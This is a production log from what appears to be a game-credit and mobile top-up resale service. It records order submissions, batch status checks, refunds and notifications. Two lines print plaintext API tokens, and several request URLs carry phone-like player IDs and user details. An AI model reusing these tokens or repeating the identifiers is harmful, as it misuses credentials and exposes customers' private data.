[2026-03-24 18:01:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:01:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=0735c0af-99ff-427b-8ed7-449937f5d5b4&Player_ID=0954640593  
[2026-03-24 18:01:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=0735c0af-99ff-427b-8ed7-449937f5d5b4&Player_ID=0954640593","has_body":false} 
[2026-03-24 18:01:16] production.INFO: Operation sent successfully {"operation_id":163965,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bfwl-1774364476","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:01:16"}},"processed_data":{"order_number":"ORD-Bfwl-1774364476","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:02:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01"} 
[2026-03-24 18:02:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","total_operations":3,"sites_count":2} 
[2026-03-24 18:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 18:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 18:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":2,"order_ids":["ORD-QKWps4-1774364457","ORD-Bfwl-1774364476"]} 
[2026-03-24 18:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":2} 
[2026-03-24 18:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 18:02:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:02:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"count":2} 
[2026-03-24 18:02:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"count":2} 
[2026-03-24 18:02:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"user_id":1320,"notification_type":"order_approved","reference_id":179061} 
[2026-03-24 18:02:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"user_id":1320,"notification_type":"order_approved","reference_id":179060} 
[2026-03-24 18:02:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:02:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:02:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"processed":2,"errors":0} 
[2026-03-24 18:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964,"processed":2,"errors":0} 
[2026-03-24 18:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yRGUICxToduFvhdHswaWdWO9WqbItgWg","execution_time":"2026-03-24 18:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QKWps4-1774364457","operation_id":163964} 
[2026-03-24 18:02:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 18:02:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 18:02:31] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"1200.0","mainamount":"1200","operation_number":"600430967900","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpfiq6gd462nagaAYJ5XM"}},"user_id":802} 
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:02:32] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:02:32] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18662,"user_id":802,"amount":1200.0,"admins_notified":7} 
[2026-03-24 18:03:12] production.INFO: Constructing job for order: 179062  
[2026-03-24 18:03:14] production.INFO: Handling job for order: 179062  
[2026-03-24 18:03:14] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:03:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:03:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=e6a1f5dd-d542-4daa-9e85-d37c42f36899&Player_ID=0980482537  
[2026-03-24 18:03:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=e6a1f5dd-d542-4daa-9e85-d37c42f36899&Player_ID=0980482537","has_body":false} 
[2026-03-24 18:03:15] production.INFO: Operation sent successfully {"operation_id":163966,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RU30CFFv-1774364594","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 18:03:15"}},"processed_data":{"order_number":"ORD-RU30CFFv-1774364594","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 18:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03"} 
[2026-03-24 18:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","total_operations":2,"sites_count":2} 
[2026-03-24 18:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 18:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 18:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1,"order_ids":["ORD-RU30CFFv-1774364594"]} 
[2026-03-24 18:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"orders_count":1} 
[2026-03-24 18:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:04:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:04:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"count":1} 
[2026-03-24 18:04:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"count":1} 
[2026-03-24 18:04:03] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"count":1} 
[2026-03-24 18:04:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"user_id":1071,"notification_type":"order_rejected","reference_id":179062} 
[2026-03-24 18:04:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":1} 
[2026-03-24 18:04:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:04:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"processed":1,"errors":0} 
[2026-03-24 18:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966,"processed":1,"errors":0} 
[2026-03-24 18:04:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"kT0HhPCSgtwq7buicYFfYJGaKkRK7kff","execution_time":"2026-03-24 18:04:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RU30CFFv-1774364594","operation_id":163966} 
[2026-03-24 18:04:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 18:04:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 18:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:05:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:05:05] production.INFO: async() رجع: true  
[2026-03-24 18:05:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:05:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:05:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:05:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:06:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04"} 
[2026-03-24 18:06:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","total_operations":1,"sites_count":1} 
[2026-03-24 18:06:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 18:06:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:06:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:06:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:06:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 18:06:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lTTQgnuByw9nxVY3B8pIq6PuvFofnMHF","execution_time":"2026-03-24 18:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 18:07:03] production.INFO: SendAcceptReject: Notification queued {"user_id":568,"notification_type":"request_approved","reference_id":18660} 
[2026-03-24 18:07:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 568  
[2026-03-24 18:07:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"request_approved","reference_id":18661} 
[2026-03-24 18:07:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 18:07:26] production.INFO: SendAcceptReject: Notification queued {"user_id":802,"notification_type":"request_approved","reference_id":18662} 
[2026-03-24 18:07:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 18:07:54] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-j5G7ZL-1774360319","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 18:07:54] production.INFO: Processed webhook data (normalized) {"id":"ORD-j5G7ZL-1774360319","status":"completed","codes":[],"notes":[]} 
[2026-03-24 18:07:54] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:07:54] production.INFO: SendAcceptReject: Notification queued {"user_id":315,"notification_type":"order_approved","reference_id":178945} 
[2026-03-24 18:07:54] production.INFO: Order updated successfully. Order ID: 178945, Status: completed  
[2026-03-24 18:07:54] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-j5G7ZL-1774360319","status":"completed","codes_count":0} 
[2026-03-24 18:07:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 18:08:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jeU05IczkHCTwOv1Qp0PWqD12eHQmngt","execution_time":"2026-03-24 18:08:04"} 
[2026-03-24 18:08:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"jeU05IczkHCTwOv1Qp0PWqD12eHQmngt","execution_time":"2026-03-24 18:08:04"} 
[2026-03-24 18:08:20] production.INFO: Constructing job for order: 179063  
[2026-03-24 18:08:22] production.INFO: Handling job for order: 179063  
[2026-03-24 18:08:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:08:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:08:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=3dea0009-b16e-4634-bebb-1e1e35bf343f&Player_ID=4610745  
[2026-03-24 18:08:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=3dea0009-b16e-4634-bebb-1e1e35bf343f&Player_ID=4610745","has_body":false} 
[2026-03-24 18:08:23] production.INFO: Operation sent successfully {"operation_id":163967,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3xJYmF-1774364903","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 18:08:23"}},"processed_data":{"order_number":"ORD-3xJYmF-1774364903","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 18:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02"} 
[2026-03-24 18:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","total_operations":1,"sites_count":1} 
[2026-03-24 18:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-3xJYmF-1774364903"]} 
[2026-03-24 18:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 18:10:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:10:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"count":1} 
[2026-03-24 18:10:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"count":1} 
[2026-03-24 18:10:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"user_id":802,"notification_type":"order_approved","reference_id":179063} 
[2026-03-24 18:10:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:10:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"WIdyOltXijRXpYwsTFmz4JEy8AJjNeGj","execution_time":"2026-03-24 18:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3xJYmF-1774364903","operation_id":163967,"total_processed":1,"total_errors":0,"chunks_processed":1} 
